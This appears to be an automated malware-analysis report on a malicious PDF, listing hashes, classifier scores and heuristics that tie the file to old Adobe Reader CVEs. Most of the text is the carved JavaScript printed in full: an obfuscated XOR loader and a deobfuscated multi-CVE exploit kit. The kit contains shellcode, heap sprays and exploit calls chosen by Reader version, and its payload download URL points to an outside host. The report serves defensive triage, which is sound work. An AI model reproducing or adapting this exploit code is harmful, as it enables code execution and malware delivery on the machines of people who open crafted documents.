Malicious PDF — malware analysis report

Static analysis result for SHA-256 d358ed5cafcafe20…

MALICIOUS

PDF

11.3 KB First seen: 2026-05-11
MD5: e89da9f65ffee48d392fb285b13afe65 SHA-1: d63da764583567ddb99cae639f4b11664b0c6482 SHA-256: d358ed5cafcafe20dc9ab5a2d65ee52d7bfbb884c481d8fc67420949ca866da5
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged by a machine learning classifier as highly malicious. Static analysis identified embedded JavaScript, which is often used to download and execute further payloads. The presence of obfuscated JavaScript further supports this assessment. The ML classifier's high confidence score and the heuristic firings indicate a strong likelihood of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://yournewzip.ru:8080/in.php?i6&h305 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x28DA 418 bytes
SHA-256: 6510282031d5e7135e6d13264b15800a45894e75d3d27a691f6a74f8663753b7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var j='';var m=app.doc;var g='jdj%sdfghj';g=g.substr(3,1);var z='getPage';var google=z+'NthW'+'ord';var update=z+'NumW'+'ords';var v='fromCharCode';var c='charCodeAt';var r=0,f=2, u=35;var e=this['une'+'scape'];new Function(file(2, u))();function file(w, u){var uT=m[update](2);    for(var xR=0; xR < uT; xR++){h=m[google](w, xR);var p=h.substr(h.length-f, f);var adobe=e(g + p)[c](r);j+=String[v](adobe^u);}return j;}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 4929 bytes
SHA-256: 96dad700aacae74cfcfe7b2b37cd8066efe757fa349d40ba106288e29e0a93fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://yournewzip.ru:8080/in.php?i6&h305 */
var _u="http://yournewzip.ru:8080/in.php?i6&h305";
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	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "eAFSm_3xoB?IVU/l6apdJ8NLE2D%Y0kMs9Xz5:&QcKqtHOG0fP17rCWy.ngjwTh4buv=iZR-";
function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
}

function fix_it(yarsp,len){

	while(yarsp.length*2<len){
		yarsp+=yarsp;
	}
	yarsp=yarsp.substring(0,len/2);
	return yarsp;
}

function printd(){
	var shellcode = get_shellcode("_new");
	var nx = unescape("%u9342%u3f4a"); 
	while(nx.length <= 32768) {
		nx += nx; 
	}
	nx = nx.substring(0, 32768 - shellcode.length); 
	memory = new Array(); 
	for(i = 0; i < 0x2000; i++) { 
		memory[i]= nx + shellcode; 
	} 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 

	try {
		this.media.newPlayer(null);
	} catch(e) {

	} 

	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
}

function util_printf(){

	var payload=get_shellcode("_pack");
	var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");

	var heapblock=nop+payload;
	var bigblock=unescape("%u0A0A%u0A0A");
	var headersize=20;
	var spray=headersize+heapblock.length;

	while(bigblock.length<spray){
		bigblock+=bigblock;
	}

	var fillblock=bigblock.substring(0,spray);
	var block=bigblock.substring(0,bigblock.length-spray);

	while(block.length+spray<0x40000){
		block=block+block+fillblock;
	}

	var mem_array=new Array();

	for(var i=0;i<1400;i++){
		mem_array[i]=block+heapblock;
	}

	var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
	util.printf("%45000f",num);
}

function collab_email(){

	var shellcode=get_shellcode("_pack");
	var mem_array=new Array();
	var cc=0x0c0c0c0c;
	var addr=0x400000;
	var sc_len=shellcode.length*2;
	var len=addr-(sc_len+0x38);
	var yarsp=unescape("%u9090%u9090");
	yarsp=fix_it(yarsp,len);
	var count2=(cc-0x400000)/addr;

	for(var count=0;count<count2;count++){
		mem_array[count]=yarsp+shellcode;
	}

	var overflow=unescape("%u0c0c%u0c0c");

	while(overflow.length<44952){
		overflow+=overflow;
	}

	this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});
}

function collab_geticon(){

	if(app.doc.Collab.getIcon){
		var arry=new Array();
		var vvpethya=get_shellcode("_pack");
		var hWq500CN=vvpethya.length*2;
		var len=0x400000-(hWq500CN+0x38);

		var yarsp=unescape("%u9090%u9090");
		yarsp=fix_it(yarsp,len);

		var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;

		for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){
			arry[vqcQD96y]=yarsp+vvpethya;
		}

		var tUMhNbGw=unescape("%09");

		while(tUMhNbGw.length<0x4000){
			tUMhNbGw+=tUMhNbGw;
		}

		tUMhNbGw="N."+tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);}
}

function PPPDDDFF(){

	var version=app.viewerVersion.toString();
	version=version.replace(/\D/g,'');
	var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));

	if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){
		util_printf();
	}

	if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){
		collab_email();
	}

	if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){
		collab_geticon();
	}

	printd();
}

PPPDDDFF();
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